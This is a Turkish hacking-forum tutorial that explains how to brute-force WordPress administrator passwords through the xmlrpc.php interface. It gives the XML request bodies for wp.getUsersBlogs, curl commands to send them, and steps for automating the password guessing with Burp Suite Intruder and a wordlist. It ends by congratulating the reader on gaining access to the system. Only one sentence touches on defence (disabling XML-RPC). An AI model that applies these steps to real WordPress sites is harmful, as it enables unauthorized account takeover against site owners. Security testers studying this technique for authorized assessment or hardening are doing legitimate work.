BurpSuite aracılığıyla WordPress XMLRPC Brute Force Saldırısı

BurpSuite aracılığıyla WordPress XMLRPC BruteForce Saldırısı



Günümüzde BruteForce saldırıları, internette sunucular ve uygulamalar üzerinde çok yaygındır. Muhtemelen çevrimiçi bir sunucunuz varsa, bu tür saldırıları sunucu günlükleriniz aracılığıyla görebilirsiniz. En yaygın saldırı yüzeyleri ssh hizmeti, web sunucusu veya web sayfanızdaki kimlik doğrulama formu (uygulama tabanlı saldırı) olabilir.


WordPress iyi bilinen bir CMS'dir (İçerik Yönetim Sistemi), BruteForce saldırıları çok yaygındır ve genellikle saldırganlar kimlik doğrulama formunu kullanır, ancak kötü niyetli adamların bunu yapabilmesinin tek yolu bu değildir.

SERuL7.gif



XML-RPC arayüzü nedir?

Tanım
«Farklı işletim sistemlerinde, farklı ortamlarda çalışan yazılımların İnternet üzerinden prosedür çağrıları yapmasına izin veren bir belirtim ve bir dizi uygulamadır.
Aktarım olarak HTTP ve kodlama olarak XML kullanarak çağrı yapan uzak prosedürdür. XML-RPC, karmaşık veri yapılarının iletilmesine, işlenmesine ve döndürülmesine izin verirken mümkün olduğu kadar basit olacak şekilde tasarlanmıştır.»

XML-RPC işlevselliği, WordPress 3.5'ten beri varsayılan olarak açıktır, ancak tüm WordPress yöneticileri bu işlevi ve bu yardımcı programı bilmez, bu nedenle, XML-RPC arayüzünü düzgün bir şekilde korumazlar.

Tamam, o zaman soru şu, neden WordPress bu arayüzü kullanıyor?

Temel olarak, WordPress bu arayüzü, web günlüğü istemcilerini veya e-posta uygulamalarını kullanarak doğrudan blogunuza göndermek ve geri ping ve geri izleme işlevi için kullanır.

WordPress'te oturum açma formu aracılığıyla kaba kuvvet saldırılarını önlemek için kullanabileceğiniz pek çok eklenti vardır, ancak XML-RPC arayüzü aracılığıyla bu tür saldırılardan kaçınmak biraz daha karmaşıktır. Bunu yapmak için .htaccess dosyasını değiştirmeniz ve XML-RPC arayüzünü devre dışı bırakmanız gerekir (eğer kullanmak istemiyorsanız).

Bu yazıda, WordPress XML-RPC arayüzüne karşı BruteForce saldırılarının nasıl gerçekleştirileceğini ele alacağım.


XML-RPC arayüzüne karşı yapabileceğimiz BruteForce saldırısı vardır.

– Basit kaba kuvvet saldırısı : Her istekte bir kullanıcı ve bir parola deneyebilirsiniz
– WordPress'in 3.5.1 sürümüne kadar mevcut olan güçlendirme BruteForce : Her istekte birden fazla kullanıcı ve parola deneyebilirsiniz.

Saldırı ( Basit kaba kuvvet saldırısı )

WordPress'te XML-RPC arayüzünün etkinleştirilip etkinleştirilmediğini kontrol etmek için aşağıdaki URL'yi kullanabilirsiniz:

http://url/xmlrpc.php

Bunu tarayıcınızda görüyorsanız, xmlrpc.php arayüzünün etkin olduğu anlamına gelir.


1_KSPetR1S9diOhc0jpUbP4g.jpg

selection_001.png


Sonraki adımda, doğrudan WordPress API ile etkileşimin mümkün olup olmadığını kontrol edeceğiz. Bunu yapmak için, WordPress'in POST isteğini kabul edip etmediğini kontrol etmek için bir dosya oluşturmalıyız.

vim merhaba.txt


Aşağıdaki XML kodunu dosyaya yazın:


Kod:
<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
   <methodName>demo.sayHello</methodName>
     <params>
        <param><value></value></param>
        <param><value></value></param>
     </params>
</methodCall>




xmlrpc.php dosyası , kendisine bir POST isteği olarak gönderilen geçerli XML'e ihtiyaç duyar. Bunu Linux'ta yapmanın en kolay yolu CURL kullanmaktır. Aşağıdaki komut ' demo.sayHello.txt ' dosyasında bulunan XML'i bir POST isteği olarak uzak WordPress API'sine gönderecektir:
curl –data @ hello.txt http://url/ xmlrpc.php

Beklenen sunucu yanıtı aşağıdaki gibi görünmelidir:


Kod:
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <params>
      <param>
          <value>
              <string>Hello!</string>
          </value>
      </param>
  </params>
</methodResponse>




Şimdiye kadar WordPress'te API çağrıları yapabildiğimizi kontrol ettik. Amacımıza ulaşmak için başka bir API çağrısı kullanacağız, kaba kuvvet saldırısı yaparak geçerli bir kullanıcı ve şifre elde edeceğiz.

Kullanacağımız yöntem
wp.getUsersBlogs'dur.

Öncelikle, API yöntemini çağırmak için geçerli XML koduyla bir dosya oluşturmamız gerekiyor.


vim getusers.txt

Dosya bu kodu içermelidir




Kod:
<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
     <methodName>wp.getUsersBlogs</methodName>
        <params>
           <param><value>administrator</value></param>
           <param><value>admin</value></param>
       </params>
</methodCall>



Ardından, kullanıcı ve şifrenin doğru olup olmadığını kontrol etmek için yöntemi çağırmalıyız.

curl –data @ getusers.txt http://url/xmlrpc.php

Gördüğümüz gibi, aşağıdaki gibi API bize API çağrısının sonucuyla yanıt veriyor.


Kod:
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
   <fault>
      <value>
         <struct>
            <member>
                <name>faultCode</name>
                <value><int>403</int></value>
            </member>
            <member>
               <name>faultString</name>
               <value><string>Incorrect username or password.</string></value>
            </member>
         </struct>
     </value>
  </fault>
</methodResponse>


SERuL7.gif




Bu noktada, kimlik bilgilerinin geçerli olup olmadığını XML-RPC arabirimi aracılığıyla nasıl kontrol edeceğimizi biliyoruz, ancak bu şekilde yapılması sıkıcı bir iştir.

Amacımız, isteği bir web proxy'sinde durdurmak (burp paketini kullanacağız) ve görevi otomatikleştirmek.

API çağrısını yapmak için daha önce gördüğümüz gibi curl kullanıyoruz, saldırıyı otomatikleştirmek istiyorsak curl'u isteği web proxy'si aracılığıyla gönderecek şekilde yapılandırmalıyız.


curl –data @ getusers.txt http://url/xmlrpc.php –proxy localhost:8080

Bir önceki komut ile web proxy üzerinden request göndereceğiz ve brute force saldırımızı başlatabileceğiz.


cool-little.gif


192f0879b0a314a55.png

İsteği burpsuite ile durdurun

Bu noktada bir sonraki adım, isteği BurpSuite'teki Intruder modülüne göndermektir, bu modül saldırıyı otomatikleştirmemize izin verecektir.

Saldırıyı yapmak istediğimiz parametreleri seçmeliyiz, bu durumda odağı ikinci parametreye (şifre) koyacağız.

2.png

Yük için konumu seçin


Adım adım, kullanmak istediğimiz payload'ları seçmeliyiz, resimde gördüğünüz gibi bir şifre listesi kullanacağız.


Bundan sonra, sadece «Start attack» düğmesine tıklamamız gerekiyor.

3.png

Yük dosyasını seçin


Son olarak, sadece parmaklarımızı çaprazlamamız 😄 ve sonuçları görmek için biraz beklememiz gerekiyor.

4.png


Doğru kimlik bilgilerini alın


Şanslıysanız, kimlik bilgilerini alacaksınız ve bundan sonra sisteme erişebilirsiniz. Tebrikler!

s-9e25ce808462ff5dd68e890ae8787ffca116545b.gif
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.